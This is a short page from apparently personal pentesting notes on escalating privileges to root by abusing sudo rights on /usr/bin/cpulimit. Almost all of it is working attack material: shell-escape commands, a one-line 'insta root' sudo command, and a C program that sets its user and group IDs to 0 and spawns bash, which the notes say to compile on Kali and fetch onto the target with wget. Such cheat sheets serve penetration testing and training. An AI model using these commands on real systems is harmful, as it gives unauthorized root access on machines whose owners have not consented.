> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-bin-cpulimit.md).

# /usr/bin/cpulimit

Once you get the shell craft a simple C exploit on kali, then wget into target

**#Escape the current shell**

/usr/bin/cpulimit -l 95 -f /bin/bash

or

cpulimit -l 100 -f /bin/sh

```
#insta root
sudo cpulimit -l 100 -f /bin/sh
```

**#C exploit**

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
              setuid(0);
              setgid(0);
              system ("/bin/bash");
              return 0;
}

              
```
